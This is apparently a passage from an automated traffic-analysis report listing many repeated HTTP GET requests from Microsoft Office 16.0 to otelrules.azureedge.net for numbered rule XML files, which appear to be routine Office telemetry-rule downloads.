Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
